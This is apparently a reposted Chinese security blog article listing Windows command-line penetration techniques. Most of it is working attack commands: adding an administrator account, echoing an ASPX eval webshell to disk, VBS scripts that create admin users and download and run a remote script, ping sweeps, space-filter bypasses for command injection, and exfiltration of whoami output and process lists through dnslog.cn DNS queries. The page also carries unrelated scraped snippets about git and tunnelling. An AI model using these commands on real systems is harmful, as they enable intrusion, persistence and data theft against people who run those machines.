<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Windows命令行下常用滲透技巧

    VSole2021-12-06 12:04:23

    0x01 前言

    滲透測試中無論是打點,還是后滲透,多多少少都會用到命令行下的一些技巧以達到快速拿到目標主機權限和繞過一些安全防護功能等。其實在cmd和powershell下只要靈活運用就能滿足大部分滲透需求,主要還是看你遇到什么樣的場景,需要完成什么需求,達到什么樣的效果?

    當然,這里筆者也只是將以前自己常用到的,以及在看各位師傅文章中學到的技巧搜集整理在一起分享給大家,希望對大家能有所幫忙,有時間再做補充,也期待各位師傅的補充!!!如有錯誤,還望指出!!!

    0x02 利用|/&管道符執行多條命令

    應用場景:常用于查找遠程桌面端口號、異常網絡連接以及添加管理員用戶等。

    netstat -ano | findstr "ESTABLISHED"net user 90sec 123456 /ad & net localgroup administrators 90sec /ad
    

    0x03 利用^轉義符解決<>字符問題

    應用場景:常用于寫入Webshell木馬文件時對<>、&等特殊字符的轉義,不加寫不了。

    echo ^<%@Page Language="Jscript" validateRequest="false"%^>^<%Response.Write(eval(Request.Item["w"],"unsafe"));%^> > c:\Users\3had0w\Desktop\ok.aspx
    

    0x04 利用dir/for等命令查找網站路徑

    應用場景:常用于內網信息搜集查找銘感文件和內容,也可根據文件名、擴展以及內容來查找文件所在位置絕對路徑,如:1.網站路徑和數據庫連接文件、2.被黑灰產修改過的(跳轉)腳本文件等。

    dir /a/b/s D:\web\*.aspwhere /r D:\web\ *.php *.aspfor /r D:\web\ %i in (*.php *.asp) do @echo %i%windir%\system32\inetsrv\appcmd list VDIR
    findstr /n /s /i "uid=sa" E:\ftp_bak\*.configfindstr /n /s /i "DB_PWD" D:\www\*.php
    

    0x05 利用:冒號將VBS腳本代碼寫在一行

    應用場景:常用于命令行下寫入Webshell木馬、VBS添加用戶、下載者等惡意腳本,>創建,>>疊加,注意2、4、8、9行中的&管道符,也要用^轉義下才能正常寫入。

    echo set wsnetwork=CreateObject("WSCRIPT.NETWORK") > C:\adduser.vbsecho os="WinNT://"^&wsnetwork.ComputerName >> C:\adduser.vbsecho Set ob=GetObject(os) >> C:\adduser.vbsecho Set oe=GetObject(os^&"/Administrators,group") >> C:\adduser.vbsecho Set od=ob.Create("user","betasec") >> C:\adduser.vbsecho od.SetPassword "pass!@#!23" >> C:\adduser.vbsecho od.SetInfo >> C:\adduser.vbsecho Set of=GetObject(os^&"/betasec",user) >> C:\adduser.vbsecho oe.add os^&"/betasec" >> C:\adduser.vbs
    

    0x06 利用>/>>重定向符疊加寫入VBS

    應用場景:常用于MSSQL高權限注入點寫入VBS腳本文件,一行一行寫過于繁瑣。VBScript可以在一行代碼內同時對兩個變量進行賦值,中間用冒號分隔即可,腳本可正常執行。

    echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/adduser.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:\adduser.vbs",2:wscript.sleep 1000:Shell.Run ("c:\adduser.vbs") > c:\down.vbs
    

    0x07 利用for命令探測工作組/域存活主機

    應用場景:常用于探測工作組和域內存活主機,用的是Ping命令,基于ICMP協議,但如果禁Ping時該方法則無效,利用此方法在實際應用中可能需要做少許修改:內網IP或網段。

    直接在命令終端回顯:

    @for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl="
    

    將存活主機寫入到文件:

    @for /l %i in (1,1,255) do @ping 192.168.1.%i -w 1 -n 1 | findstr /i "ttl=" >nul & if errorlevel 1 (echo 192.168.1.%i May be sleeping ! >> result.txt) else (echo 192.168.1.%i is alive ! >> result.txt)
    查看掃描后的存活主機:type result.txt | findstr "alive"
    

    工作組/域內存活主機探測:

    這個批處理文件可用于對內網工作組和域內存活主機進行簡單的掃描探測,并且支持中英文操作系統。

    @echo off@echo.@FOR /F "usebackq delims=, " %%J IN (`net view /domain ^|find "命令成功完成" /v ^|find "The command completed successfully." /v ^|find "命令成功完成" /v ^|find "--" /v ^|find "Domain" /v ^|find "" /v ^|find "コマンドは正常に終了しました" /v /i`) do (@echo ====== Domain:%%J =========@FOR /F "usebackq eol=; delims=, " %%i in (`net view /domain:%%J ^|findstr "\\"`) do (@FOR /F "usebackq eol=; tokens=1,2,3* delims=\\" %%a in (`@echo %%i`) do (ping %%a -4 -n 1 -w 100 |find /i "ping" > %%a.txt@FOR /F "tokens=2 delims=[]" %%b in (%%a.txt) do @echo \\%%a = [%%b]@del /f /q %%a.txt)))@echo ====== Getting IP Complete ======
    

    0x08 利用符號或者環境變量截取繞過空格

    應用場景:常用于命令執行漏洞繞過,在代碼層面或安全防護中過濾了空格,也就是在執行命令時不能帶有空格,最近幾天在幾個群里都看到有人討論這個問題,也屬常見問題。

    特殊符號:記一次“上傳”命令執行的繞過案例

    echo.123>>a.txtecho,123>>a.txttype;a.txt[...SNIP...]
    &cd;..&cd;..&cd;windows&cd;system32&cd;..&cd;1631359215&cs.jpg&.jpg[...SNIP...]
    

    環境變量:命令注入靶場空格過濾繞過測試

    %path:~10,1%%programfiles:~10,1%%processor_identifier:~7,1%%commonprogramw6432:~10,1%%commonprogramfiles(x86):~10,1%%commonprogramfiles:~10,1%%commonprogramfiles:~10,-18%%commonprogramfiles:~23,1%%fps_browser_app_profile_string:~8,1%[...SNIP...]
    

    0x09 利用dnslog查看注入點執行命令結果

    應用場景:常用于探測目標主機的DNS協議是否能夠出網,或者是在高權限注入無回顯時也可以通過dnslog來將命令執行結果帶出,如:查看當前用戶和進程列表等。

    探測DNS出網狀態:

    ping ******.dnslog.cnnslookup ******.dnslog.cnphp gethostbyname("******.dnslog.cn");?>
    

    查詢當前用戶權限:

    for /F %i in ('whoami') do nslookup %i.lr5dyr.dnslog.cn
    cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.ly9hvm.dnslog.cn && nslookup !FINAL!" && del temp*
    

    0x10 利用dnslog查看目標主機的殺毒軟件

    應用場景:用于MSSQL高權限注入,目標主機不出網,但想利用dnslog探測主機中是否有殺軟?兩種方法原理一樣,都是先獲取進程列表,然后for、ForEach循環Ping、nslookup通過dnslog帶出來。

    for /F %i in ('wmic process get Name ^| findstr ".exe"') do ping -n 1 %i.******.dnslog.cn >nul
    powershell -c "Get-Process | select processname > 1.txt"powershell -c "Get-Content .\1.txt | Sort-Object -Unique | ForEach-Object {if($_ -match $regex){$b=$_.trim();ping -n 1 $b'.***fks2j.ns.dns3.cf.'} }"
    

    命令行場景應用
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    就這么簡單,代碼就被存起來了。當你修復完線上問題,切回 feature 分支,想恢復代碼也只需要:git?保存當前未commit的代碼。刪除stash的所有記錄。當有多條 stash,可以指定操作stash,首先使用stash list 列出所有記錄
    前言 使用 Git 作為代碼版本管理,早已是現在開發工程師必備的技能。可大多數工程師還是只會最基本的保存、拉取、推送,遇到一些commit管理的問題就束手無策,或者用一些不優雅的方式解決。 本文分享我在開發工作中實踐過的實用命令。這些都能夠大大提高工作效率,還能解決不少疑難場景。下面會介紹命令,列出應用場景,手摸手教學使用,讓同學們看完即學會。 stash 描述 官方解釋:當您想記錄工作目錄和
    安全從運維走向運營,以業務發展為基礎,以事件核查為線索,以持續優化為根本。此外,后期漏洞修復和處置也需要數天時間才能完成。第一個核心技術是Knowledge-Base,簡稱KB系統。因此,安全人員想要通過檢測配置文件中的版本號來確定是否存在漏洞將會變得非常困難。這是青藤自主研發的面向安全人員的一套語法,極大提高事件分析和響應能力。部署青藤產品之后,安全部門手里的資產信息是整個公司最全和最準確的。
    安全從運維走向運營,以業務發展為基礎,以事件核查為線索,以持續優化為根本。此外,后期漏洞修復和處置也需要數天時間才能完成。第一個核心技術是Knowledge-Base,簡稱KB系統。因此,安全人員想要通過檢測配置文件中的版本號來確定是否存在漏洞將會變得非常困難。這是青藤自主研發的面向安全人員的一套語法,極大提高事件分析和響應能力。部署青藤產品之后,安全部門手里的資產信息是整個公司最全和最準確的。
    0x01 前言滲透測試中無論是打點,還是后滲透,多多少少都會用到命令行下的一些技巧以達到快速拿到目標主機權限和繞過一些安全防護功能等。
    HTTP隧道的主要特點包括:高效穩定、靈活隱蔽、適合加密,本文將詳細介紹HTTP隧道的主要特點和常用工具。在此之上還可以通過為C2服務器配置有效的證書以使用HTTPS加強隱秘性。與其它http隧道不同的是,abptts是全加密。觀成科技安全研究團隊經過研究發現,對于HTTP隧道,可以從隧道通信的行為本身,以及攻擊者對HTTP協議的使用與正常業務的區別等方面挖掘特征進行檢測。
    Controller Manager 中 的 Node Controller 通 過 APIServer 定期讀取節點狀態信息,并做響應處理。業務系統通過調用密碼機提供的密碼服務,實現數據的機密性、完整性、有效性和不可否認性。作為 Node 節點接入 Kubernetes 的云服務器密碼機,內部也采用了Docker 生成 VSM。當創建 VSM 需從外部下載鏡像時,Docker 可能會從外部下載到惡意鏡像,惡意鏡像可能導致云服務器密碼機內部的敏感數據被竊取或破壞。因此,云服務器密碼機可從以下兩個維度限制惡意鏡像在云服務器密碼機中執行。
    應用場景wire作為依賴注入的代碼生成工具,非常適合復雜對象的創建。而在大型項目中,擁有一個合適的依賴注入的框架將使得項目的開發與維護十分便捷。中最核心的兩個概念就是Injector和Provider。這些方法接收所需依賴作為參數,創建組件并將其返回Injector?代碼生成命令行在指定目錄下執行?
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类